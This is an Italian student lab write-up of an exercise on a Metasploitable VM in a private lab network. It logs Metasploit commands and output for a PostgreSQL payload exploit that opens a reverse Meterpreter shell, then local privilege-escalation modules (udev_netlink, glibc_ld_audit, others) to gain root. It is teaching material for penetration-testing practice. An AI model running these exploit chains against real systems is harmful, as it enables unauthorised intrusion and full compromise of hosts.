

Esercizio S7-L3

Ip Kali: 192.168.50.100

Ip Metasploitable: 192.168.50.101

Avviato msfconsole

Use msf6 exploit(linux/postgres/postgres_payload)

set RHOSTS 192.168.50.101

set PAYLOAD linux/x86/meterpreter/reverse_tcp

set LHOST 192.168.50.100

```
msf6 exploit(linux/postgres/postgres_payload) > run
[*] Started reverse TCP handler on 192.168.50.100:4444
[*] 192.168.50.101:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/rrCKRrOo.so, should be cleaned up automatically
[*] Sending stage (1017704 bytes) to 192.168.50.101
[*] Meterpreter session 1 opened (192.168.50.100:4444 → 192.168.50.101:48863) at 2024-12-18 14:30:58 +0100
```

```
meterpreter > getuid
Server username: postgres
meterpreter > █
```

```
msf6 exploit(linux/local/udev_netlink) > run
[*] Started reverse TCP handler on 192.168.50.100:4444
[*] Attempting to autodetect netlink pid...
[*] Meterpreter session, using get_processes to find netlink pid
[*] udev pid: 2418
[+] Found netlink pid: 2417
[*] Writing payload executable (207 bytes) to /tmp/vxXtGdqIuI
[*] Writing exploit executable (1879 bytes) to /tmp/HnRfCUOkln
[*] chmod'ing and running it...
[*] Sending stage (1017704 bytes) to 192.168.50.101
[*] Meterpreter session 2 opened (192.168.50.100:4444 → 192.168.50.101:36470) at 2024-12-18 16:07:00 +0100

meterpreter > getuid
Server username: root
```

Bonus

Provo a fare escalation dei privilegi , cerco vulnerabilità nella session1:



```
msf6 post(multi/recon/local_exploit_suggester) > set SESSION 1
SESSION => 1
msf6 post(multi/recon/local_exploit_suggester) > options

Module options (post/multi/recon/local_exploit_suggester):

  Name          Current Setting  Required  Description
  ----          -
  SESSION        1                yes       The session to run this module on
  SHOWDESCRIPTION false            yes       Displays a detailed description for the available exploits

View the full module info with the info, or info -d command.

msf6 post(multi/recon/local_exploit_suggester) > run

[*] 192.168.50.101 - Collecting local exploits for x86/linux...
[*] 192.168.50.101 - 198 exploit checks are being tried ...
[*] 192.168.50.101 - exploit/linux/local/glibc_ld_audit_dso_load_priv_esc: The target appears to be vulnerable.
[*] 192.168.50.101 - exploit/linux/local/glibc_origin_expansion_priv_esc: The target appears to be vulnerable.
[*] 192.168.50.101 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[*] 192.168.50.101 - exploit/linux/local/ptrace_sudo_token_priv_esc: The service is running, but could not be validated.
[*] 192.168.50.101 - exploit/linux/local/su_login: The target appears to be vulnerable.
[*] 192.168.50.101 - exploit/unix/local/setuid_nmap: The target is vulnerable. /usr/bin/nmap is setuid

[*] 192.168.50.101 - Valid modules for session 1:

#  Name                                                                 Potentially Vulnerable?  Check Result
-  -
1  exploit/linux/local/glibc_ld_audit_dso_load_priv_esc                Yes                       The target appears to be vulnerable.
2  exploit/linux/local/glibc_origin_expansion_priv_esc                 Yes                       The target appears to be vulnerable.
3  exploit/linux/local/netfilter_priv_esc_ipv4                         Yes                       The target appears to be vulnerable.
4  exploit/linux/local/ptrace_sudo_token_priv_esc                      Yes                       The service is running, but could not be validated.
5  exploit/linux/local/su_login                                         Yes                       The target appears to be vulnerable.
6  exploit/unix/local/setuid_nmap                                        Yes                       The target is vulnerable. /usr/bin/nmap is setuid
7  exploit/linux/local/abrt_raceabrt_priv_esc                          No                        The target is not exploitable.
8  exploit/linux/local/abrt_sosreport_priv_esc                         No                        The target is not exploitable.
```

Ci sono 6 potenziali vulnerabilità da poter sfruttare.

exploit(linux/local/glibc_ld_audit_dso_load_priv_esc

Uso payload x86

```
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > run

[*] Started reverse TCP handler on 192.168.50.100:4444
[+] The target appears to be vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.qmdmqRdf' (1271 bytes) ...
[*] Writing '/tmp/.csWmWfVn' (286 bytes) ...
[*] Writing '/tmp/.d6clxygBi' (207 bytes) ...
[*] Launching exploit ...
[*] Sending stage (1017704 bytes) to 192.168.50.101
[*] Meterpreter session 3 opened (192.168.50.100:4444 → 192.168.50.101:45644) at 2024-12-18 16:32:03 +0100

meterpreter > getuid
Server username: root
```

Uso exploit/linux/local/glibc_origin_expansion_priv_esc

```
msf6 exploit(linux/local/glibc_origin_expansion_priv_esc) > run

[*] Started reverse TCP handler on 192.168.50.100:4444
[+] The target appears to be vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.mfuALNM6' (1271 bytes) ...
[*] Writing '/tmp/.OYy7Z6' (323 bytes) ...
[*] Writing '/tmp/.gAcQH' (207 bytes) ...
[*] Launching exploit ...
[*] Exploit completed, but no session was created
```

meterpreter > ls -l /bin/ping

104755/rwxr-xr-x 30856 fil 2007-12-10 18:33:50 +0100 /bin/ping

Non ha i permessi per elevare i privilegi

Provo exploit/linux/local/netfilter_priv_esc_ipv4

```
msf6 exploit(linux/local/netfilter_priv_esc_ipv4) > run

[*] Started reverse TCP handler on 192.168.50.100:5554
[-] Failed to open file: /proc/sys/user/max_user_namespaces: core_channel_op
en: Operation failed: 1
[-] Failed to open file: /proc/sys/kernel/unprivileged_userns_clone: core_ch
annel_open: Operation failed: 1
[-] libc6-dev-i386 is not installed. Compiling will fail.
[-] gcc-multilib is not installed. Compiling will fail.
```

Provo exploit/linux/local/su_login

```
msf6 exploit(linux/local/su_login) > options

Module options (exploit/linux/local/su_login):

  Name      Current Setting  Required  Description
  --      -
  PASSWORD  1                no        Password to authenticate with.
  SESSION   1                yes       The session to run this module on
  USERNAME  root             yes       Username to authenticate with.

Payload options (linux/x86/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.50.100  yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Linux x86

View the full module info with the info, or info -d command.

msf6 exploit(linux/local/su_login) > █
```

Mi da errore [-] Exploit aborted due to failure: no-access: directory '/tmp' is on a noexec mount point

